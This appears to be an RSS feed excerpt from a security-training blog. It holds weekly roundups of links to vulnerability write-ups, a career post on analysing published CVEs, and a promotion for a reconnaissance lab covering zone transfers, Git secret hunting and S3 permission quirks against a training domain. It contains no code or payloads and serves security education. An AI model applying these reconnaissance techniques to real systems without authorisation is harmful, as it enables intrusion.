<h5 class="fw-bold my-3">Do you feel your team is now better prepared to catch issues that automated tools or pentests might miss?</h5>
<p>Definitely. Many vulnerabilities we find simply don’t appear in black-box testing and won’t be flagged by automated tools. Thanks to the training, our team is better equipped to detect subtle issues, things that look harmless on the surface but can be chained with others into something critical.</p>

<h5 class="fw-bold my-3">What did your team enjoy the most about the badge?</h5>
<p>What testers enjoyed most was the hands-on, realistic nature of the exercises. They’re not abstract or theoretical, they mirror the kinds of vulnerabilities and patterns we encounter in real-world projects. The challenges give you the feeling of solving a real case, which keeps motivation high.</p>

<h5 class="fw-bold my-3">How did you keep the team motivated through the training?</h5>
<p>Honestly, motivation wasn’t difficult. Because the badge directly reflects the type of work we do every day, testers immediately saw the value. For new joiners, completing the badge became a milestone, they knew it would prepare them to handle real client codebases more effectively.</p>

<h5 class="fw-bold my-3">What would you tell another team or company considering PentesterLab?</h5>
<p>If your team does application security, especially code review, PentesterLab is absolutely worth it. The exercises don’t just teach vulnerabilities, they build the skills and habits needed to approach code like an attacker. That’s what makes the difference between a decent assessment and one that uncovers the issues no one else has seen.</p>

<h5 class="fw-bold my-3">If you had to sum up the experience in one sentence, what would it be?</h5>
<p>PentesterLab’s Code Review badge has become the foundation of the testers’ training, it turns reading code from a challenge into a strength, enabling us to find vulnerabilities others miss.</p>

]]>
      </description>
      <pubDate>Wed, 27 Aug 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/fluid-attacks-code-review-training-with-pentesterlab</link>
      <guid>https://pentesterlab.com/blog/fluid-attacks-code-review-training-with-pentesterlab</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 34/2025</title>
      <description>
        <![CDATA[<div class="mb-0">
  <p>Stop everything you’re doing! Phrack is out!</p>
</div>
<div class="mb-5">

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📰 </span>Phrack Issue 0x48</h5>
  <p>The latest Phrack is out! As usual, lots of amazing content: <a href="https://phrack.org/issues/72" target="_blank">https://phrack.org/issues/72</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔑 </span>The 401 That Fooled Me - N-Day Review of CVE-2025-49706 in SharePoint</h5>
  <p>A very detailed walkthrough on CVE-2025-49706 impacting SharePoint: <a href="https://y4nush.com/posts/the-401-that-fooled-me-n-day-review-of-cve-2025-49706-in-sharepoint/" target="_blank">https://y4nush.com/posts/the-401-that-fooled-me-n-day-review-of-cve-2025-49706-in-sharepoint/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🎲 </span>Trivial C# Random Exploitation</h5>
  <p>A great write-up on exploiting <code>Random</code> in C# from the Doyensec team: <a href="https://blog.doyensec.com/2025/08/19/trivial-exploit-on-C-random.html" target="_blank">https://blog.doyensec.com/2025/08/19/trivial-exploit-on-C-random.html</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">💎 </span>Marshal Madness: A Brief History of Ruby Deserialization Exploits</h5>
  <p>A great summary of the history of Ruby deserialization exploitation! More posts like this, please: <a href="https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/" target="_blank">https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">💻 </span>Drive-By Attack in Ollama Desktop v0.10.0</h5>
  <p>A nice write-up from the GitLab team on a vulnerability in Ollama Desktop: <a href="https://gitlab-com.gitlab.io/gl-security/security-tech-notes/red-team-tech-notes/ollama-driveby/" target="_blank">https://gitlab-com.gitlab.io/gl-security/security-tech-notes/red-team-tech-notes/ollama-driveby/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🐍 </span>CVE-2025–50817: Python-Future Module Arbitrary Code Execution via Unintended Import of test.py</h5>
  <p>A quirky RCE in Python’s <code>future</code> module: <a href="https://medium.com/@abcd_68700/cve-2025-50817-python-future-module-arbitrary-code-execution-via-unintended-import-of-test-py-f0818ea93cf4" target="_blank">https://medium.com/@abcd_68700/cve-2025-50817-python-future-module-arbitrary-code-execution-via-unintended-import-of-test-py-f0818ea93cf4</a></p>

</div>

]]>
      </description>
      <pubDate>Sun, 24 Aug 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week34-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week34-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 31/2025</title>
      <description>
        <![CDATA[<style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
</style>        
<div>

  <div class="mb-0">
    <p>AI, FileJacking and analysing CVE-2025-54366!</p>
  </div>
  <div class="mb-5">

    <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤖 </span>Claude is Competitive with Humans in (Some) Cyber Competitions</h5>
    <p>Throughout 2025, Anthropic has been entering Claude in CTF events… Learn more about what happened: <a href="https://red.anthropic.com/2025/cyber-competitions/" target="_blank">https://red.anthropic.com/2025/cyber-competitions/</a></p>

    <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🧠 </span>Buttercup is Now Open-Source!</h5>
    <p>Curious about Buttercup, the cyber reasoning system used to compete in AIxCC? You can get the big picture in this blog post (before jumping to the source code): <a href="https://blog.trailofbits.com/2025/08/08/buttercup-is-now-open-source/" target="_blank">https://blog.trailofbits.com/2025/08/08/buttercup-is-now-open-source/</a></p>

    <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📂 </span>FileJacking – Initial Access with File System API</h5>
    <p>All you need to know about the File System API in one page: <a href="https://print3m.github.io/blog/filejacking-initial-access-with-file-system-api" target="_blank">https://print3m.github.io/blog/filejacking-initial-access-with-file-system-api</a></p>

    <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔍 </span>Analyzing CVE-2025-54366 – RCE via Deserialization of Untrusted Data in FreeScout</h5>
    <p>I recently stressed the importance of CVE analysis (<a href="https://pentesterlab.com/blog/demonstrate-hacking-skills-without-0dayz" target="_blank">https://pentesterlab.com/blog/demonstrate-hacking-skills-without-0dayz</a>) as a great way to get better and also demonstrate your skills. At least one person listened: <a href="https://github.com/securitytaters/vulnerability-research/tree/main/N-Day%20CVE/CVE-2025-54366" target="_blank">https://github.com/securitytaters/vulnerability-research/tree/main/N-Day%20CVE/CVE-2025-54366</a></p>

  </div>
</div>

]]>
      </description>
      <pubDate>Sun, 10 Aug 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week31-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week31-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 29/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        



<div class="mb-0">
  <p>Double Trail of Bits this week…</p>
</div>
<div class="mb-5">

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">©️ </span>Vendetect – Detect Code Copying at Scale</h5>
  <p>Trail of Bits released the next tool for your AppSec belt: Vendetect! If you want to detect code that has been copied from another source (to find licensing or security issues), this is for you: 
    <a href="https://blog.trailofbits.com/2025/07/21/detecting-code-copying-at-scale-with-vendetect/" target="_blank">https://blog.trailofbits.com/2025/07/21/detecting-code-copying-at-scale-with-vendetect/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📚 </span>Introducing Semgrep to Your Organization</h5>
  <p>Ever wanted to get started with Semgrep in your organization? Trail of Bits has you covered with this post:
    <a href="https://blog.trailofbits.com/2024/01/12/how-to-introduce-semgrep-to-your-organization/" target="_blank">https://blog.trailofbits.com/2024/01/12/how-to-introduce-semgrep-to-your-organization/</a></p>

</div>
]]>
      </description>
      <pubDate>Sun, 27 Jul 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week29-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week29-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 28/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


    <div class="mb-0">
      <p>A spicy week with double Sam Curry!</p>
  </div>
  <div class="mb-5">

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔐 </span>Exploiting an ORM Injection to Steal Cryptocurrency from an Online Shooter</h5>
  <p>A great example of ORM-injection/leak exploitation: <a href="https://blog.p1.gs/writeup/2025/07/06/Hacking-a-crypto-game/" target="_blank">https://blog.p1.gs/writeup/2025/07/06/Hacking-a-crypto-game/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">💣 </span>Pre-Auth SQL Injection to RCE - Fortinet FortiWeb Fabric Connector (CVE-2025-25257)</h5>
  <p>Another great write-up from WatchTowr, this time on a SQL injection to RCE in FortiWeb’s Fabric Connector: <a href="https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/" target="_blank">https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🪟 </span>Abusing Windows, .NET Quirks, and Unicode Normalization to Exploit DNN (DotNetNuke)</h5>
  <p>The Assetnote team is back at it with another great find—especially worth reading if you’re into C# code review: <a href="https://slcyber.io/assetnote-security-research-center/abusing-windows-net-quirks-and-unicode-normalization-to-exploit-dnn-dotnetnuke/" target="_blank">https://slcyber.io/assetnote-security-research-center/abusing-windows-net-quirks-and-unicode-normalization-to-exploit-dnn-dotnetnuke/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🍔 </span>Would You Like an IDOR with That? Leaking 64 million McDonald’s Job Applications</h5>
  <p>You’ve probably already come across this one, but just in case: <a href="https://ian.sh/mcdonalds" target="_blank">https://ian.sh/mcdonalds</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📚 </span>Why XSS Persists in This Frameworks Era?</h5>
  <p>A well-written and detailed analysis on why we still have XSS: <a href="https://flatt.tech/research/posts/why-xss-persists-in-this-frameworks-era/" target="_blank">https://flatt.tech/research/posts/why-xss-persists-in-this-frameworks-era/</a></p>

  
  </div>


<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Mon, 14 Jul 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week28-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week28-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 25/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


    <div class="mb-0">
      <p>Go parsers, Funky Chunks, Template injections... What a week!</p>
  </div>
  <div class="mb-5">

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📦 </span>Funky Chunks: Abusing Ambiguous Chunk-Line Terminators for Request Smuggling</h5>
<p>A great post. If you can only read one thing this week, read this one. Solid research that will probably be leveraged in a lot of attacks in the near future: <a href="https://w4ke.info/2025/06/18/funky-chunks.html" target="_blank">Funky Chunks: Abusing Ambiguous Chunk-Line Terminators for Request Smuggling</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🐹 </span>Unexpected Security Footguns in Go’s Parsers</h5>
<p>That's the kind of article I love, sharing details of parser quirks in Golang. Definitely worth a read. If you are into Go, read it; if you are not, read it anyway and apply the ideas to your favorite language: <a href="https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/" target="_blank">Unexpected Security Footguns in Go’s Parsers</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">💣 </span>Is b For Backdoor? Pre-Auth RCE Chain in Sitecore Experience Platform</h5>
<p>WatchTowr is back! Another C# application and more great bugs, all described in a detailed post: <a href="https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform/" target="_blank">Is b For Backdoor? Pre-Auth RCE Chain in Sitecore Experience Platform</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">😴 </span>Sleepless Strings – Template Injection in Insomnia</h5>
<p>The team at TantoSec is back and shares a cool bug against Kong's Insomnia. The rundown of the attempts to fix the vulnerability is probably my favorite part: <a href="https://tantosec.com/blog/2025/06/insomnia-api-client-template-injection/" target="_blank">Sleepless Strings – Template Injection in Insomnia</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🛡️ </span>Administrator Protection Review</h5>
<p>An early review of Windows Administrator Protection, coming to Windows 11: <a href="https://specterops.io/blog/2025/06/18/administrator-protection/" target="_blank">Administrator Protection Review</a>.</p>


</div>


<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Mon, 23 Jun 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week25-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week25-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 24/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


    <div class="mb-0">
      <p>A great week with a diverse mix of content to please everyone!</p>
  </div>
  <div class="mb-5">

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🎶 </span>Streaming Zero-Fi Shells to Your Smart Speaker</h5>
  <p>An engaging write-up on the work involved in the SOHO flavour of Pwn2Own: <a href="https://blog.ret2.io/2025/06/11/pwn2own-soho-2024-sonos-exploit/" target="_blank">Streaming Zero-Fi Shells to Your Smart Speaker</a>.</p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🎥 </span>Netflix Vulnerability: Dependency Confusion in Action</h5>
  <p>Netflix wasn’t too chill with its dependencies: <a href="https://www.landh.tech/blog/20250610-netflix-vulnerability-dependency-confusion/" target="_blank">Dependency Confusion in Action</a>.</p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📲 </span>iOS Research Docker Environment</h5>
  <p>Everything you need to set up your iOS hacking environment: <a href="https://chensokolovsky.github.io/FuzzerAmoreBlog/posts/ios_research_docker_env.html" target="_blank">iOS Research Docker Environment</a>.</p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">＜ </span>Escaping ‘&lt;’ and ‘&gt;’ in Attributes – How It Helps Protect Against Mutation XSS</h5>
  <p>A big change in the XSS world, with more details on the upcoming escaping of <code>&lt;</code> and <code>&gt;</code> in attributes: <a href="https://bughunters.google.com/blog/5038742869770240/escaping-and-in-attributes-how-it-helps-protect-against-mutation-xss" target="_blank">Escaping ‘&lt;’ and ‘&gt;’ in Attributes – How It Helps Protect Against Mutation XSS</a>.</p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🛤️ </span>Code Audit on Ruby on Rails for the Open Source Technology Improvement Fund</h5>
  <p>A security review of Ruby on Rails v8.0.1 performed by X41 (PDF): <a href="https://ostif.org/wp-content/uploads/2025/06/X41-Rails-Audit-Final-Report-PUBLIC.pdf" target="_blank">Rails Audit Final Report</a>.</p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🪞 </span>NTLM Reflection Is Dead, Long Live NTLM Reflection! – An In-Depth Analysis of CVE-2025-33073</h5>
  <p>An excellent deep-dive from the Synacktiv team on CVE-2025-33073: <a href="https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025" target="_blank">NTLM Reflection Is Dead, Long Live NTLM Reflection</a>.</p>

  </p>
</div>


<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 15 Jun 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week24-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week24-2025</guid>
    </item>
    <item>
      <title>Demonstrate Your Hacking Skills with N-Day Analysis &amp; Security-Mechanism Deep Dives</title>
      <description>
        <![CDATA[

<p><strong>TL;DR: </strong> You don’t need a fresh 0-day to prove you can hack. Break down <em>existing</em> vulnerabilities and security mechanisms instead. You’ll learn faster, publish sooner, and show hiring managers you have the skills that actually matter.</p>

<h3>The Myth of the “Groundbreaking” Blog Post</h3>
<p>Spend five minutes on Hacker News or X/Twitter and it feels like every security write-up must reveal a brand-new exploit to be worthy. That belief hurts newcomers because it:</p>
<ul>
  <li>Raises the entry bar: <i>"Until I discover something original, I have nothing to say."</i></li>
  <li>Turns learning into a lottery: finding an undisclosed bug is part skill, part luck, always time-consuming.</li>
  <li>Delays your portfolio (or HackFolio): while you chase unicorns, others publish steady, solid content and get noticed.</li>
</ul>

<p> If you’re breaking into security, you can still write pieces that appeal to employers and teach you a lot in the process.</p>

<h3>N-Day (or N-Year) Vulnerability Write-Ups</h3>

<h4>Why N-Days?</h4>
<ul>
  <li><strong>They’re everywhere.</strong> Thousands of public CVEs exist in the software you use daily.</li>
  <li><strong>The work is deterministic.</strong> There <em>is</em> a bug; you just need to follow the breadcrumbs.</li>
  <li><strong>Most employers value comprehension over novelty.</strong> Reading unfamiliar code, following data flow, and explaining risk is real-world AppSec work.</li>
</ul>

<h4>A Simple Workflow</h4>
<ol>
  <li>Choose a CVE that interests you.</li>
  <li>Pull the vulnerable version (Docker, Git tag, archived release).</li>
  <li>Study the patch diff: what changed and why?</li>
  <li>Reproduce the exploit (use public PoCs or craft your own).</li>
  <li>Write a clear narrative covering background, root cause, exploitation steps, and impact.</li>
  <li>Close with “Lessons Learned” so readers can spot similar issues early.</li>
</ol>

<h4>What You Demonstrate</h4>
<ul>
  <li>Code-level reasoning.</li>
  <li>Clear communication.</li>
  <li>Teaching skill.</li>
</ul>
<p>These are exactly the capabilities hiring managers screen for. And you might still uncover a bypass for the fix along the way.</p>

<h3>Reverse-Engineering Security Mechanisms</h3>
<p>Everyone rushes to publish bypasses; few document the defense itself. That’s your opportunity.</p>

<h4>Pick a Mechanism, Not Just a Bypass</h4>
<ul>
  <li>CSRF protection in Rails</li>
  <li>CORS pre-flight processing in a Go framework</li>
  <li>Session management in Express</li>
</ul>

<h4>How to Write It Up</h4>
<ol>
  <li>Describe the threat model, why the defense exists.</li>
  <li>Walk through implementation: source code, config options, defaults.</li>
  <li>Illustrate normal flow—request/response diagrams work wonders.</li>
  <li>Explore edge cases: malformed headers, missing attributes, race conditions.</li>
  <li>(Optional) Re-create public bypasses and propose stronger fixes.</li>
  <li>(Optional) Study the evolution of the protection over time.</li>
</ol>

<h4>Why Employers Care</h4>
<ul>
  <li>You understand framework internals, not just surface exploits.</li>
  <li>You can educate development teams (a critical AppSec skill).</li>
  <li>You think like both attacker <em>and</em> defender.</li>
</ul>

<h3>Portfolio &gt; Jackpot</h3>
<p>Publishing steady, well-researched content beats waiting years for lightning to strike. Each post becomes <strong>permanent proof</strong> that you can learn, analyze, and communicate.</p>

<p>As you keep digging into old CVEs and dissecting defensive mechanisms, new vulnerabilities will eventually surface. Novelty arrives naturally once you’ve spent enough time analyzing old vulnerabilities and security mechanisms.</p>


<h3>Practical Tips to Get Started</h3>
<ul>
  <li>Set a schedule: one post a month is 12 portfolio pieces a year.</li>
  <li>Use reproducible environments (Dockerfiles, dev containers).</li>
  <li>Show, don’t tell: GitHub gists, screenshots, asciinema casts.</li>
  <li>Write for clarity over cleverness.</li>
  <li>Iterate publicly and update posts as you learn more.</li>
</ul>

<h3>Final Word</h3>
<p>Stop waiting for perfect research conditions. Grab an old bug, dissect a security control, and ship the write-up. Your future employer isn’t grading you on novelty, they are grading you on understanding, analysis, and communication.</p>
<p>So crack open that dusty CVE list, spin up an environment, and start typing.</p>

]]>
      </description>
      <pubDate>Mon, 09 Jun 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/demonstrate-hacking-skills-without-0dayz</link>
      <guid>https://pentesterlab.com/blog/demonstrate-hacking-skills-without-0dayz</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 23/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>
    <div class="mb-0">
      <p> Another good week in the world of PHP security! </p>
  </div>
  <div class="mb-5">

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">⏰ </span>Riding The Time Machine: Journey Through An Old vBulletin PHP Object Injection</h5>
  <p>A great example of a write-up of a N-day (or N-year in this case) vulnerability! We need more of those: <a href="https://karmainsecurity.com/riding-the-time-machine-old-vbulletin-php-object-injection"  target="_blank">Riding The Time Machine: Journey Through An Old vBulletin PHP Object Injection</a>.</p>


  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">✉️ </span>Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]</h5>
  <p> A great and detailed write-up for a great bug in RoundCube: <a href="https://fearsoff.org/research/roundcube"  target="_blank">Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]</a>.</p>


  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">💦 </span>Bypassing Watermark Implementations</h5>
  <p>The Kulkan team is back with an article on watermarking. A good reminder that FFmpeg can do everything! <a href="https://blog.kulkan.com/bypassing-watermark-implementations-fe39e98ca22b"  target="_blank">Bypassing Watermark Implementations</a>.</p>


  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🛠️ </span>Incalmo: An Autonomous LLM-Based Multi-Stage Attacker</h5>
  <p>Curious about multi-host attacks and how an LLM handles them, make sure you check lncalmo and the accompanying research paper: <a href="https://github.com/bsinger98/Incalmo"  target="_blank">Incalmo: An Autonomous LLM-Based Multi-Stage Attacker</a>.</p>

  </p>
</div>


<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Mon, 09 Jun 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week23-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week23-2025</guid>
    </item>
    <item>
      <title>Sharpen Your Recon Skills for Free: Claim Our Free Recon Badge Today</title>
      <description>
        <![CDATA[    <p class="lead">
      Enumeration is where every great hack starts. Our <strong>Recon Badge</strong> gives you a realistic playground to master those first, crucial steps of an engagement. And you can access it for free. No credit card or fancy VM needed; all you need is a regular AWS account to access a protected S3 bucket.
    </p>
  <div class="d-flex justify-content-center my-5">
      <a class="btn btn-primary text-white"
         href="https://pentesterlab.com/badges/recon"
         target="_blank" rel="noopener">
        Start the Recon Badge Now
      </a>
    </div>

  <!-- Separator -->
  <div class="d-flex justify-content-center my-5">
    <svg width="59" height="6" viewBox="0 0 59 6" fill="none"
         xmlns="http://www.w3.org/2000/svg">
      <circle cx="3" cy="3" r="3" fill="#686868"/>
      <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
      <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
    </svg>
  </div>

  <!-- Why recon matters -->
  <h5 class="fw-bold mt-6 mb-3">Why Recon Beats Guesswork</h5>
  <p>
    Before you exploit, you need to explore. Reconnaissance uncovers the juicy
    bits that many devs accidentally leave exposed:
  </p>
  <ol>
    <li>Forgotten <code>robots.txt</code> and <code>security.txt</code> entries
        that point to hidden paths</li>
    <li>Info-leaking 404 pages and verbose headers</li>
    <li>Directory listings that reveal source code and backups</li>
    <li>Misconfigured TLS, DNS, and S3 buckets</li>
    <li>Secrets buried in Git history, waiting for the right grep</li>
  </ol>
  <p>
    Think of recon as the map you draw before picking the lock. Skip it and
    you stumble in the dark. Nail it and half the job is done.
  </p>

  <!-- Separator -->
  <div class="d-flex justify-content-center my-5">
    <svg width="59" height="6" viewBox="0 0 59 6" fill="none"
         xmlns="http://www.w3.org/2000/svg">
      <circle cx="3" cy="3" r="3" fill="#686868"/>
      <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
      <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
    </svg>
  </div>

  <!-- Badge overview -->
  <h5 class="fw-bold mt-6 mb-3">What You Will Tackle Inside the Badge</h5>
  <p>
    The badge is split into bite-sized labs. Each lab unlocks the next, and
    every one gives you a flag so you always know when you nailed it. Below is
    a high-level tour; the exact flags stay secret until you dive in.
  </p>

  <ol>
    <li><strong>Classic Web Enumeration</strong> – harvest
        <code>robots.txt</code>, <code>security.txt</code>, custom 404 pages,
        directory listings, and hidden admin paths.</li>
    <li><strong>Virtual Host Shenanigans</strong> – swap hostnames for raw IPs,
        push your own <code>Host</code> header, and extract SANs from TLS
        certificates.</li>
    <li><strong>Visual Reconnaissance</strong> – sift through a fleet of
        hosts (<code>0x00.a.hackycorp.com</code> to
        <code>0x0f.a.hackycorp.com</code>) to spot the page with a red key.
        <em>Pro tip:</em> feed the list to Aquatone for instant screenshots.</li>
    <li><strong>DNS Games</strong> – query TXT records, abuse AXFR to pull
        zones (even an <code>int</code> internal zone), and grab the BIND
        version with <code>version.bind</code>.</li>
    <li><strong>GitHub Intelligence</strong> – locate Hackycorp’s org, hunt dev
        names in commit history, scan branches, find deleted files, and spot
        “odd one out” email addresses.</li>
    <li><strong>CDN and S3 Treasure Hunt</strong> – pull stray
        <code>key.txt</code> files, exploit the “Any AWS user” quirk to access
        <code>key2.txt</code>, and read hard-coded tokens from bundled
        JavaScript.</li>
  </ol>

  <!-- Separator -->
  <div class="d-flex justify-content-center my-5">
    <svg width="59" height="6" viewBox="0 0 59 6" fill="none"
         xmlns="http://www.w3.org/2000/svg">
      <circle cx="3" cy="3" r="3" fill="#686868"/>
      <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
      <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
    </svg>
  </div>

  <h5 class="fw-bold mt-6 mb-3">Self-directed Challenge</h5>
  <p>
    Already feel confident with your reconnaissance skills? Skip the step-by-step instructions and go on a treasure hunt. Point your tools at <code>hackycorp.com</code>, dig into every service you can reach, and see how many badge flags you can capture unaided. Treat it like a real-world engagement, then compare your haul with the lab solutions to spot blind spots in your process.
  </p>

  <!-- Requirements -->
  <h5 class="fw-bold mt-6 mb-3">What You Need (Spoiler: Almost Nothing)</h5>
  <p>
    You only need a personal AWS account with just enough permissions to access an S3 bucket you don't own.
  </p>
  <p>
    Tools are flexible. We give examples with <code>curl</code>,
    <code>openssl</code>, <code>ffuf</code>, and <code>git</code>. Use Burp, Nuclei, 
    or pure PowerShell if that is your flavor. Flags are agnostic.
  </p>

  <!-- Separator -->
  <div class="d-flex justify-content-center my-5">
    <svg width="59" height="6" viewBox="0 0 59 6" fill="none"
         xmlns="http://www.w3.org/2000/svg">
      <circle cx="3" cy="3" r="3" fill="#686868"/>
      <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
      <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
    </svg>
  </div>

  <!-- Learning outcomes -->
  <h5 class="fw-bold mt-6 mb-3">Skills You Will Walk Away With</h5>
  <ol>
    <li>Rapid host and sub-domain discovery techniques</li>
    <li>Smart directory and vhost brute-forcing</li>
    <li>Fingerprinting stacks via headers and TLS metadata</li>
    <li>DNS misconfiguration exploitation, including zone transfers</li>
    <li>Practical Git trawling for secrets and context</li>
    <li>S3 permission edge cases that bug bounty hunters love</li>
  </ol>

  <!-- Separator -->
  <div class="d-flex justify-content-center my-5">
    <svg width="59" height="6" viewBox="0 0 59 6" fill="none"
         xmlns="http://www.w3.org/2000/svg">
      <circle cx="3" cy="3" r="3" fill="#686868"/>
      <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
      <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
    </svg>
  </div>

  <!-- Call to action -->
  <div class="text-center my-4">
    <p class="lead fw-bold mb-3">
      Ready to claim your badge and flex those recon muscles?
    </p>
    <p>
      <a class="btn btn-success btn-lg text-white"
         href="https://pentesterlab.com/badges/recon"
         target="_blank" rel="noopener" >
        Start the Free Recon Badge
      </a>
    </p>
<p class="small text-muted">
  Tweet your badge or tag us on
  <a href="https://www.linkedin.com/company/pentesterlab/" target="_blank">LinkedIn</a>
  or
